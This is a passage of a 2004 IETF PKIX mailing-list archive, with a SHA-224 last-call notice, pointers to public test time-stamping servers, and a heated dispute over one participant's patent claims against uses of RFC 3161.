  decision&nbsp; on your behalf.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0435_01C4132D.69C8F450--

Date: Fri, 26 Mar 2004 16:14:34 -0500
To: [email-masked]
From: Tim Polk <[email-masked]>
Subject: WG Last Call: SHA-224
Sender: [email-masked]

Folks,

This message initiates working group last call for "A 224-bit One-way Hash 
Function: SHA-224"  This document is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sha224-00.txt.  The 
author has suggested Informational Track for this document, so last call 
will be one week.  That is, Last Call for this document closes on or after 
April 2, 2004.

This specification will provide a stable reference for the SHA-224 
algorithm, which is needed by several IETF specifications.  At least two 
independent implementations exist and agree on the test vectors in this 
document.

Thanks,

Tim Polk

Date: Fri, 26 Mar 2004 12:31:49 -0500
To: "todd glassey" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[email-masked]>
Sender: [email-masked]

--============_-1131798621==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 9:01 AM -0800 3/26/04, todd glassey wrote:
>Stephen BTW will you or Denis personally write the check here when 
>any Court finds in favor of one of us Patent Holders over someone 
>else' use of 3161?
>
>
>Todd
>

I will neither write the check nor hold my breath awaiting a 
successful decision  on your behalf.

Steve
--============_-1131798621==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 9:01 AM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial"
size="-1">Stephen&nbsp;BTW will you or Denis&nbsp;personally write the
check here when any Court finds in favor of one of us Patent Holders
over someone else' use of 3161?</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">Todd</font></blockquote>
<blockquote type="cite" cite><br></blockquote>
<div><br></div>
<div>I will neither write the check nor hold my breath awaiting a
successful decision&nbsp; on your behalf.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1131798621==_ma============--

Date: Fri, 26 Mar 2004 12:27:26 -0500
To: "todd glassey" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[email-masked]>
Sender: [email-masked]

--============_-1131798622==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:53 AM -0800 3/26/04, todd glassey wrote:
>Steven - stick it.

Yes another information rich message from someone who can't even 
manage to spell my name correctly.

Steve

--============_-1131798622==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 12:53 AM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial" size="-1">Steven -
stick it.</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<div><br></div>
<div>Yes another information rich message from someone who can't even
manage to spell my name correctly.</div>
<div><br></div>
<div>Steve</div>
<div><br></div>
</body>
</html>
--============_-1131798622==_ma============--

From: "todd glassey" <[email-masked]>
To: "Denis Pinkas" <[email-masked]>
Cc: <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 09:56:27 -0800
Sender: [email-masked]

read claims 27-29...

----- Original Message ----- 
From: "Denis Pinkas" <[email-masked]>
To: "todd glassey" <[email-masked]>
Cc: <[email-masked]>
Sent: Friday, March 26, 2004 9:53 AM
Subject: Re: Legal Notice on RFC3161 Uses and their possible infringement
against Glassey/Mcneil Patents(et al).

> Todd,
>
> > Stephen BTW will you or Denis personally write the check here when any
> > Court finds in favor of one of us Patent Holders over someone else' use
> > of 3161?
>
> I have been asking you a technical question, so I am still awaiting from
you
> a technical response (not an unrelated question).
>
> Here is my question again:
>
> "A patent called "Controlling Access to Stored Information" is listed as
EP
> 997-808 (5-mar-2000). It uses time and positioning information in concert
> and alone to provide a keying and a control system for evidentiary use and
> that of access control as well."
>
> I have some difficulties to understand how this patent relates in anyway
> with RFC 3161, since the first claim of it is:
>
>     A method for controlling access to stored information comprising
>     determining an actual geographic position where said stored
>     information is located based on signals received at a receiver
>     supplying reliable position information, comparing said actual
>     geographic position with at least one authorized geographic region,
>     and permitting access to said stored, information if said actual
>     geographic position is within said authorized geographic region.
>
> This is however related to GPS, DVD or CD technology which is out of the
> scope of RFC 3161.
>
>   .. but you are probably going to explain that I missed something ..."
>
> Denis
>
>
> > Todd
> >
> >     ----- Original Message -----
> >     From: Stephen Kent <mailto:[email-masked]>
> >     To: [email-masked] <mailto:[email-masked]>
> >     Sent: Thursday, March 25, 2004 2:20 PM
> >     Subject: Re: Legal Notice on RFC3161 Uses and their possible
> >     infringement against Glassey/Mcneil Patents(et al).
> >
> >     Folks,
> >
> >     Attached is the abstract for Todd's latest patent in this area,
> >     which he alluded to in his posting to this list.
> >
> >     Since RFC 3161 makes no mention of using time stamp info for access
> >     control, the likelihood of this RFC infringing seems questionable to
> >     me, but that, of course is not a legal opinion.
> >
> >     If Todd wanted to follow established IETF procedure, as per RFC 2606
> >     he should have sent this message to [email-masked]. In fact Todd
> >     did post such a message for his previous IPR assertions in this
> >     general area, but maybe he didn't feel that such posting had
> >     sufficient dramatic effect.
> >
> >     Steve
> >     -------
> >
> >
> >     Controlling access to stored information based on geographical
> >     location and  date and time
> >
> >     Abstract
> >     Access to stored information by a user is controlled by comparing an
> >     actual  geographic position and/or an actual date/time with a
> >     geographic region  and/or a date/time interval within which access
> >     to the stored information  is authorized. The actual geographic
> >     position where the stored information  is located, and the actual
> >     date/time can be determined, for example, based  on signals received
> >     at a receiver supplying reliable position and time  information,
> >     such as a GPS receiver. Access to the stored information is
> >     authorized if the actual geographic position and/or date/time falls
> >     within  the authorized geographic region and/or date/time interval.
> >     The position  and date/time information supplied by the receiver may
> >     be  cryptographically signed and encrypted.
> >
>
>

Date: Fri, 26 Mar 2004 18:53:26 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull SA.
To: todd glassey <[email-masked]>
CC: [email-masked]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Sender: [email-masked]

Todd,

> Stephen BTW will you or Denis personally write the check here when any 
> Court finds in favor of one of us Patent Holders over someone else' use 
> of 3161?

I have been asking you a technical question, so I am still awaiting from you 
a technical response (not an unrelated question).

Here is my question again:

"A patent called "Controlling Access to Stored Information" is listed as EP 
997-808 (5-mar-2000). It uses time and positioning information in concert 
and alone to provide a keying and a control system for evidentiary use and 
that of access control as well."

I have some difficulties to understand how this patent relates in anyway 
with RFC 3161, since the first claim of it is:

    A method for controlling access to stored information comprising
    determining an actual geographic position where said stored
    information is located based on signals received at a receiver
    supplying reliable position information, comparing said actual
    geographic position with at least one authorized geographic region,
    and permitting access to said stored, information if said actual
    geographic position is within said authorized geographic region.

This is however related to GPS, DVD or CD technology which is out of the 
scope of RFC 3161.

  .. but you are probably going to explain that I missed something ..."

Denis

> Todd
> 
>     ----- Original Message -----
>     From: Stephen Kent <mailto:[email-masked]>
>     To: [email-masked] <mailto:[email-masked]>
>     Sent: Thursday, March 25, 2004 2:20 PM
>     Subject: Re: Legal Notice on RFC3161 Uses and their possible
>     infringement against Glassey/Mcneil Patents(et al).
> 
>     Folks,
> 
>     Attached is the abstract for Todd's latest patent in this area,
>     which he alluded to in his posting to this list.
> 
>     Since RFC 3161 makes no mention of using time stamp info for access
>     control, the likelihood of this RFC infringing seems questionable to
>     me, but that, of course is not a legal opinion.
> 
>     If Todd wanted to follow established IETF procedure, as per RFC 2606
>     he should have sent this message to [email-masked]. In fact Todd
>     did post such a message for his previous IPR assertions in this
>     general area, but maybe he didn't feel that such posting had
>     sufficient dramatic effect.
> 
>     Steve
>     -------
> 
> 
>     Controlling access to stored information based on geographical
>     location and  date and time
> 
>     Abstract
>     Access to stored information by a user is controlled by comparing an
>     actual  geographic position and/or an actual date/time with a
>     geographic region  and/or a date/time interval within which access
>     to the stored information  is authorized. The actual geographic
>     position where the stored information  is located, and the actual
>     date/time can be determined, for example, based  on signals received
>     at a receiver supplying reliable position and time  information,
>     such as a GPS receiver. Access to the stored information is 
>     authorized if the actual geographic position and/or date/time falls
>     within  the authorized geographic region and/or date/time interval.
>     The position  and date/time information supplied by the receiver may
>     be  cryptographically signed and encrypted.
> 

Date: Fri, 26 Mar 2004 12:09:54 -0500 (EST)
Subject: Re: TSA for testing
From: "Scott Mustard" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Importance: Normal
Reply-To: [email-masked]
Sender: [email-masked]

Gerald Willet and I leave ours online as well at dse200.ncipher.com.

Cheers,

Scott Mustard

From: "todd glassey" <[email-masked]>
To: <[email-masked]>, "Stephen Kent" <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 09:01:08 -0800
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_02AD_01C41310.E0F14810
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriStephen BTW =
will you or Denis personally write the check here when any Court finds =
in favor of one of us Patent Holders over someone else' use of 3161?

Todd
  ----- Original Message -----=20
  From: Stephen Kent=20
  To: [email-masked]=20
  Sent: Thursday, March 25, 2004 2:20 PM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).

  Folks,

  Attached is the abstract for Todd's latest patent in this area, which =
he alluded to in his posting to this list.

  Since RFC 3161 makes no mention of using time stamp info for access =
control, the likelihood of this RFC infringing seems questionable to me, =
but that, of course is not a legal opinion.

  If Todd wanted to follow established IETF procedure, as per RFC 2606 =
he should have sent this message to [email-masked]. In fact Todd did =
post such a message for his previous IPR assertions in this general =
area, but maybe he didn't feel that such posting had sufficient dramatic =
effect.

  Steve
  -------

  Controlling access to stored information based on geographical =
location and  date and time

  Abstract

  Access to stored information by a user is controlled by comparing an =
actual  geographic position and/or an actual date/time with a geographic =
region  and/or a date/time interval within which access to the stored =
information  is authorized. The actual geographic position where the =
stored information  is located, and the actual date/time can be =
determined, for example, based  on signals received at a receiver =
supplying reliable position and time  information, such as a GPS =
receiver. Access to the stored information is  authorized if the actual =
geographic position and/or date/time falls within  the authorized =
geographic region and/or date/time interval. The position  and date/time =
information supplied by the receiver may be  cryptographically signed =
and encrypted.
------=_NextPart_000_02AD_01C41310.E0F14810
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Stephen&nbsp;BTW </FONT><FONT =
face=3DArial=20
size=3D2>will you or Denis&nbsp;personally write the check here when any =
Court=20
finds in favor of one of us Patent Holders over someone else' use of=20
3161?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Todd</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[email-masked] href=3D"mailto:[email-masked]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[email-masked]=20
  href=3D"mailto:[email-masked]">[email-masked]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, March 25, 2004 =
2:20=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>Folks,</DIV>
  <DIV><BR></DIV>
  <DIV>Attached is the abstract for Todd's latest patent in this area, =
which he=20
  alluded to in his posting to this list.</DIV>
  <DIV><BR></DIV>
  <DIV>Since RFC 3161 makes no mention of using time stamp info for =
access=20
  control, the likelihood of this RFC infringing seems questionable to =
me, but=20
  that, of course is not a legal opinion.</DIV>
  <DIV><BR></DIV>
  <DIV>If Todd wanted to follow established IETF procedure, as per<FONT=20
  color=3D#000000> RFC 2606</FONT> he should have sent this message to=20
  [email-masked]. In fact Todd did post such a message for his =
previous IPR=20
  assertions in this general area, but maybe he didn't feel that such =
posting=20
  had sufficient dramatic effect.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV>
  <DIV>-------</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000><BR></FONT></DIV>
  <DIV><FONT color=3D#000000>Controlling access to stored information =
based on=20
  geographical location and&nbsp; date and time</FONT></DIV>
  <DIV><FONT color=3D#000000><BR><B>Abstract</B></FONT><BR><FONT=20
  color=3D#000000><B></B></FONT></DIV>
  <DIV><FONT color=3D#000000>Access to stored information by a user is =
controlled=20
  by comparing an actual&nbsp; geographic position and/or an actual =
date/time=20
  with a geographic region&nbsp; and/or a date/time interval within =
which access=20
  to the stored information&nbsp; is authorized. The actual geographic =
position=20
  where the stored information&nbsp; is located, and the actual =
date/time can be=20
  determined, for example, based&nbsp; on signals received at a receiver =

  supplying reliable position and time&nbsp; information, such as a GPS=20
  receiver. Access to the stored information is&nbsp; authorized if the =
actual=20
  geographic position and/or date/time falls within&nbsp; the authorized =

  geographic region and/or date/time interval. The position&nbsp; and =
date/time=20
  information supplied by the receiver may be&nbsp; cryptographically =
signed and=20
  encrypted.</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_02AD_01C41310.E0F14810--

Date: Fri, 26 Mar 2004 11:28:14 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull SA.
To: todd glassey <[email-masked]>
CC: [email-masked], [email-masked]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Sender: [email-masked]

Todd,

On March 26, 2002 you wrote:

"This is not completely true. The other claims of the Surety Patent were not 
struck down as were a number of other timebase management and control 
patents that still exist.

For instance is a patent called "Controlling Access to Stored Information" 
and is listed as EP 997-808 (5-mar-2000). It uses time and positioning 
information in concert and alone to provide a keying and a control system 
for evidentiary use and that of access control as well."

I have some difficulties to understand how this patent relates in anyway 
with RFC 3161, since the first claim of it is:

    A method for controlling access to stored information comprising
    determining an actual geographic position where said stored
    information is located based on signals received at a receiver
    supplying reliable position information, comparing said actual
    geographic position with at least one authorized geographic region,
    and permitting access to said stored, information if said actual
    geographic position is within said authorized geographic region.

This is however related to GPS, DVD or CD technology which is out of the 
scope of RFC 3161.

  .. but you are probably going to explain that I missed something ...

Denis

> Lets talk about legal stuff for a minute... and I don't really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other "Receipt"
> patents issued (including, but not limited to, the original Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the responsibility
> of the developers to do proper diligence prior to releasing commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used to enable
> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and damages resulting
> from all those responsible, even National Governments using RFC3161 for
> commercial and audit purposes (including the EU and its member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point of service so
> appropriate licensing can be arranged to protect these patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 
> 

From: "todd glassey" <[email-masked]>
To: "Harald Tveit Alvestrand" <[email-masked]>, <[email-masked]>, <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 02:22:03 -0800
Sender: [email-masked]

----- Original Message ----- 
From: "Harald Tveit Alvestrand" <[email-masked]>
To: "todd glassey" <[email-masked]>; <[email-masked]>;
<[email-masked]>
Sent: Thursday, March 25, 2004 2:57 PM
Subject: Re: Legal Notice on RFC3161 Uses and their possible infringement
against Glassey/Mcneil Patents(et al).

>
> Todd,
>
> to be perfectly clear: Is this the technology IPR that you disclosed to
the
> IETF using the disclosure filed as
> <http://www.ietf.org/ietf/IPR/glassey-mcneil-datum-ipr-general.txt>, dated
> May 29, 2003, and no other?

Yes

>
> Will you send in an updated IPR disclosure claiming specifically that you
> believe this IPR to be relevant to RFC 3161?

Harald - I have always said that RFC3161 is not in and of itself the
problem, although depending on what types of payloads the user adds into it,
it sure could be. IMO The real issue is what  you do with 3161 TST's and the
issue there is  that I  believe that almost anything you do with these
tokens is going to violate one patent or another or possibly a combination
of claims across several of the patents since they have similarities. And
yes including McNeils and my rights to the Controlling Access  patents.

Todd

>
> Standard Disclaimer: The IETF takes no position.......
>
>                    Harald
>
> --On 25. mars 2004 13:28 -0800 todd glassey
<[email-masked]>
> wrote:
>
> >
> > Lets talk about legal stuff for a minute... and I don't really need
anyone
> > to respond to this unless they want to do so with my lawyers.
>
>
>
>

From: "todd glassey" <[email-masked]>
To: <[email-masked]>, "Stephen Kent" <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 00:53:43 -0800
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_005D_01C412CC.C98FF660
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriSteven - stick =
it.

  ----- Original Message -----=20
  From: Stephen Kent=20
  To: [email-masked]=20
  Sent: Thursday, March 25, 2004 2:20 PM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).

  Folks,

  Attached is the abstract for Todd's latest patent in this area, which =
he alluded to in his posting to this list.

  Since RFC 3161 makes no mention of using time stamp info for access =
control, the likelihood of this RFC infringing seems questionable to me, =
but that, of course is not a legal opinion.

  If Todd wanted to follow established IETF procedure, as per RFC 2606 =
he should have sent this message to [email-masked]. In fact Todd did =
post such a message for his previous IPR assertions in this general =
area, but maybe he didn't feel that such posting had sufficient dramatic =
effect.

  Steve
  -------

  Controlling access to stored information based on geographical =
location and  date and time

  Abstract

  Access to stored information by a user is controlled by comparing an =
actual  geographic position and/or an actual date/time with a geographic =
region  and/or a date/time interval within which access to the stored =
information  is authorized. The actual geographic position where the =
stored information  is located, and the actual date/time can be =
determined, for example, based  on signals received at a receiver =
supplying reliable position and time  information, such as a GPS =
receiver. Access to the stored information is  authorized if the actual =
geographic position and/or date/time falls within  the authorized =
geographic region and/or date/time interval. The position  and date/time =
information supplied by the receiver may be  cryptographically signed =
and encrypted.
------=_NextPart_000_005D_01C412CC.C98FF660
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Steven - stick it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[email-masked] href=3D"mailto:[email-masked]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[email-masked]=20
  href=3D"mailto:[email-masked]">[email-masked]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, March 25, 2004 =
2:20=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>Folks,</DIV>
  <DIV><BR></DIV>
  <DIV>Attached is the abstract for Todd's latest patent in this area, =
which he=20
  alluded to in his posting to this list.</DIV>
  <DIV><BR></DIV>
  <DIV>Since RFC 3161 makes no mention of using time stamp info for =
access=20
  control, the likelihood of this RFC infringing seems questionable to =
me, but=20
  that, of course is not a legal opinion.</DIV>
  <DIV><BR></DIV>
  <DIV>If Todd wanted to follow established IETF procedure, as per<FONT=20
  color=3D#000000> RFC 2606</FONT> he should have sent this message to=20
  [email-masked]. In fact Todd did post such a message for his =
previous IPR=20
  assertions in this general area, but maybe he didn't feel that such =
posting=20
  had sufficient dramatic effect.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV>
  <DIV>-------</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000><BR></FONT></DIV>
  <DIV><FONT color=3D#000000>Controlling access to stored information =
based on=20
  geographical location and&nbsp; date and time</FONT></DIV>
  <DIV><FONT color=3D#000000><BR><B>Abstract</B></FONT><BR><FONT=20
  color=3D#000000><B></B></FONT></DIV>
  <DIV><FONT color=3D#000000>Access to stored information by a user is =
controlled=20
  by comparing an actual&nbsp; geographic position and/or an actual =
date/time=20
  with a geographic region&nbsp; and/or a date/time interval within =
which access=20
  to the stored information&nbsp; is authorized. The actual geographic =
position=20
  where the stored information&nbsp; is located, and the actual =
date/time can be=20
  determined, for example, based&nbsp; on signals received at a receiver =

  supplying reliable position and time&nbsp; information, such as a GPS=20
  receiver. Access to the stored information is&nbsp; authorized if the =
actual=20
  geographic position and/or date/time falls within&nbsp; the authorized =

  geographic region and/or date/time interval. The position&nbsp; and =
date/time=20
  information supplied by the receiver may be&nbsp; cryptographically =
signed and=20
  encrypted.</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_005D_01C412CC.C98FF660--

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked]
Subject: Re: TSA for testing
Date: Fri, 26 Mar 2004 19:43:38 +1200
Sender: [email-masked]

Massimiliano Farris <[email-masked]> writes:

>I'm making some tests with my TSP client, but I cannot find any testing TSA
>online. Can anyone tell me if there is one?

The best one is at http://www.edelweb.fr/cgi-bin/service-tsp.  There are a
pile of others, most of them inactive, you could also try
tcp://ts2.itsc.cuhk.edu.hk:3318 or tcp://80.81.104.150, which were still
around last year some time.

>What happened to the standardisation process of TSP (RFC3161)?

Victory was declared and everyone went home.

Peter.

Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 02:51:46 +0200
From: "Vainikainen Saku EINT" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Cc: "todd glassey" <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0065_01C412DD.4212D7A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

> Good discussion on patenting "computer-implemented inventions" here in
> Europe:
> 
> http://europa.eu.int/comm/internal_market/en/indprop/comp/index.htm

..and even better in here:

http://swpat.ffii.org

Rgrds,
Saku Vainikainen.

> Rgrds,
> Saku Vainikainen
> PKI Specialist
> 
> Elisa Corporation
> Products / Identity Management
> FINLAND
> 
> 
> 
> > [mailto:[email-masked]] On Behalf Of todd glassey
> > Sent: Thursday, March 25, 2004 11:29 PM
> > To: [email-masked]; [email-masked]
> > Subject: Legal Notice on RFC3161 Uses and their possible 
> > infringement against Glassey/Mcneil Patents(et al).
> > 
> > 
> > Lets talk about legal stuff for a minute... and I don't 
> > really need anyone
> > to respond to this unless they want to do so with my lawyers.
> > 
> > ---------------------------------------------------
> > 
> > Be advised that I am claiming there is an unauthorized 
> > identified use of
> > RFC3161 that appears to violate parts of the Glassey/McNeil 
> > Timestamping
> > patent ("Controlling Access to Stored Information" - US 
> 6370629 and EP
> > 0997808, et al).  As such, I am formally putting the 
> > IETF/IESG on notice
> > thereof.
> > 
> > Further, these same uses may also violate any number of other 
> > "Receipt"
> > patents issued (including, but not limited to, the original 
> > Fisher and Haber
> > patents; those of others in the Time Management and in the XML
> > Receipt Business), as well as other patents still in the works.
> > 
> > In light of this notification, please be aware that it is the 
> > responsibility
> > of the developers to do proper diligence prior to releasing 
> > commercial or
> > free services using RFC3161 as its base.
> > 
> > Be advised that we are currently very concerned. If any such RFC3161
> > application is used for evidentiary purposes or if it is used 
> > to enable
> > control of any access to any data, or data in any record structure,
> > such use may be in violation of these globally issued patents.
> > 
> > Obviously, in instances where such violation is evident, we 
> > will take swift
> > legal steps to protect our patent(s) while preventing any further
> > unauthorized use. This would include any violations and 
> > damages resulting
> > from all those responsible, even National Governments using 
> > RFC3161 for
> > commercial and audit purposes (including the EU and its 
> > member States).
> > 
> > Please feel free to have the IETF's or IESG's or any other 
> appropriate
> > attorney (or Developers wishing to avoid the legal 
> complications of an
> > authorized use) contact me regarding this matter for my point 
> > of service so
> > appropriate licensing can be arranged to protect these 
> > patents against such
> > infringement involving those Developer's Application Systems .
> > 
> > Todd Glassey
> > Patent Rights Owner and Inventor -US 6370629
> > 
> > 
> 

------=_NextPart_000_0065_01C412DD.4212D7A0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

zZgRAAAAAAAA

------=_NextPart_000_0065_01C412DD.4212D7A0--

From: "Hallam-Baker, Phillip" <[email-masked]>
To: "'todd glassey'" <[email-masked]>, [email-masked], [email-masked]
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Thu, 25 Mar 2004 16:39:01 -0800
Sender: [email-masked]

Could some remind us which of the claims in Habber/Stornetta were
invalidated during the Entrust lawsuit?

> [mailto:[email-masked]]On Behalf Of todd glassey
> Sent: Thursday, March 25, 2004 4:29 PM
> To: [email-masked]; [email-masked]
> Subject: Legal Notice on RFC3161 Uses and their possible infringement
> against Glassey/Mcneil Patents(et al).
> 
> 
> 
> Lets talk about legal stuff for a minute... and I don't 
> really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized 
> identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil 
> Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the 
> IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other 
> "Receipt"
> patents issued (including, but not limited to, the original 
> Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the 
> responsibility
> of the developers to do proper diligence prior to releasing 
> commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used 
> to enable
